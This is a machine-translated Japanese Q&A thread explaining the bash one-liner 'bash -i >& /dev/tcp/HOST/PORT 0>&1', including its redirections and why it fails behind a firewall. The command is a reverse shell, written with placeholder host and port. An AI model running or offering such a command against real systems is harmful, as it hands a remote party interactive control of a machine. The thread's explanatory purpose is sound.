bashの意味-i>&/ dev / tcp / HOST / PORT 0>&1?


15

私は試した

bash -i >& /dev/tcp/HOST/PORT 0>&1

ただし、ファイアウォールの背後では機能しないようです。このコードは実際に何をしますか、どのポートが転送され、ファイアウォールの背後で動作するでしょうか?

回答:


17

このスニペットbash -iは、bashプロセス中に作成される、指定されたホストの指定されたポートへのTCP接続で、bash()の新しいインタラクティブインスタンスを実行します。標準出力と標準エラーはこの接続(>& /dev/tcp/HOST/PORT)を介して送信され、標準入力はこの接続を介して読み取られます(0>&1—これも動作するはずです0<&10>&1)。

進行中のポート転送はありません。明らかに、ある種のTCPサーバーはそのHOST:PORTで接続をリッスンして受け入れる必要があり、ファイアウォールは接続を通過させる必要があります。


「/ dev / tcp / HOST / PORT」とはどのような接続ですか。ホストはどこで定義され、ポートはどこで定義されますか。
Helos

2
@Helos文字通り見ました/dev/tcp/HOST/PORTか?名前HOSTと番号をに置き換えたと思いますPORT。そうしないと、bashからエラーメッセージが表示されます。エラーメッセージについては触れなかったので、表示されなかったと思います。
Gilles「SO-邪悪なことをやめなさい」

1
@ギレス、その0<&1部分を消化できない。私はそれを「bash stdout(&1)を取り、bash stdin(0)にパイプする」と読みましたが、これは理にかなっています。この部分がどのように機能するか説明できますか?
ゴーレム2015年

5
@golemこれはリダイレクトです。パイプは含まれていません。0<&1は、ファイル記述子1で現在開いているものをファイル記述子0に接続することを意味します。以前のリダイレクトは>& /dev/tcp/HOST/PORTfd 1(出力リダイレクトのデフォルト)を/dev/tcp/HOST/PORTに接続した、つまりTCPソケットを開いたので、これはファイル記述子0(つまり、同じソケットがfd 0でも開いているようになりました。これは、同じサーバーに対して別のソケットを開く0とは異なります</ dev / tcp / HOST / PORT)。
Gilles「SO-邪悪なことをやめなさい」

接続は私の理解にとってキーワードでした。プロセスパイピングを呼び出すことは、本当に混乱しました。
ゴーレム2015年
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.